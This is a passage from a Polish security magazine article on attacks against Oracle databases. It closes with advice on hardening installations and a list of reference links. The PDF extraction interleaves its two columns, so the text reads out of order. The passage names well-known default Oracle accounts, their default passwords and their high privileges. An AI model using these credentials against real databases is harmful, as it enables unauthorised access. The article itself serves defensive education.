może owocować nieobliczalnymi skutkami. Skrypty te są systemów IT  skomentował te hasło w ten sposób: "Unbre-
o tyle grozne, że ich istotą działania jest interakcja z często akable" has a meaning. It means that it can't be broken.(& )
anonimowym użytkownikiem z Internetu. A ponieważ używają I don't care who Larry Ellison (szef Oracle) is; he can't rewrite
one protokołu HTTP zagrożenia z nimi związane nie dają się the dictionary. (Crypto-Gram Newsleter, 15 luty 2002, http:
kontrolować za pomocą tradycyjnych mechanizmów obrony //www.counterpane.com/crypto-gram-0202.html#6)
jakimi są firewalle i IDS-y. Jedynym środkiem ochrony jest Warto jednak pamiętać o tym, że zadaniem administra-
uważny audyt kodu przez odpowiednich fachowców. tora (lub integratora) jest właściwie przygotować instala-
cję produkcyjną. W tym odpowiednio ją utwardzić i usunąć
Uwagi uzupełniające zbędną funkcjonalność, według zaleceń producenta i zródeł
Poza zaprezentowanymi tutaj metodami ataku warto wspo- niezależnych. To właśnie tego typu niedociągnięcia stano-
mnieć o ustawieniach standardowych Oracle, które mogą wią największe zródło podatności na ataki. ną
ułatwić zadanie intruzowi. Kuriozalnym wręcz przykładem
są tu powszechnie znane konta i hasła obecne w stan-
W Sieci
dardowej instalacji Oracle. W Internecie można znalezć
listę ponad 100 kont standardowo instalowanych przez
" http://echelon.pl/wojtekd  strona domowa autora
Oracle 8i/9i oraz produkty towarzyszące. Z reguły są to
 artykuły i prezentacje dotyczące bezpieczeństwa Oracle
wewnętrzne konta systemu lub konta związane z aplikacja-
" http://www.ploug.org.pl/gazetka/23/11.htm  Wojciech
mi demo. W Oracle 8i (8.1.7) kilka z tych kont ma bardzo
Dworakowski, Wybrane metody ataków na Oracle 8i
wysokie uprawnienia: " http://www.ploug.org.pl/gazetka/24/10.htm  Wojciech
Dworakowski, Aukasz Luzar, Ataki SQL-injection
" http://otn.oracle.com/deploy/security/alerts.htm
" CTXSYS (hasło CTXSYS)  uprawnienia DBA (administrator
 Oracle Security Alerts
bazy),
" http://www.ploug.org.pl -> Gazetka  w każdym numerze
" TRACESVR (hasło TRACE)  uprawnienia select any
(od 24) Biuletyn Bezpieczeństwa PLOUG
table,
" http://www.nextgenss.com/papers/hpoas.pdf  David
" MDSYS (hasło MDSYS)  zestaw bardzo wysokich
Litchfield, Hackproofing Oracle Application Server
uprawnień.
74
74
74
www.haking.pl Haking nr 1


Wyszukiwarka

Podobne podstrony:
oracle08
PHP i Oracle Tworzenie aplikacji webowych od przetwarzania danych po Ajaksa
ref oracle
ORACLE9IAS TWP21
kurs oracle podstawy sql
oracle howto 6 l2qdgdsr3ci2pskmuzrtz4aomt3e422zeba3xcy l2qdgdsr3ci2pskmuzrtz4aomt3e422zeba3xcy
Lab 1 Inatalacja RDBMS Oracle12
ref oracle
Oracle8i w sieci or8www
Oracle Discoverer ordisc
dodawanie wynikow do tabel oracle
oracle10
docs oracle
oracle09
docs oracle
oracle howto 8 dbpav6jvc6lgqbjwwopqb7ugmz6pr6xir65un3y dbpav6jvc6lgqbjwwopqb7ugmz6pr6xir65un3y

więcej podobnych podstron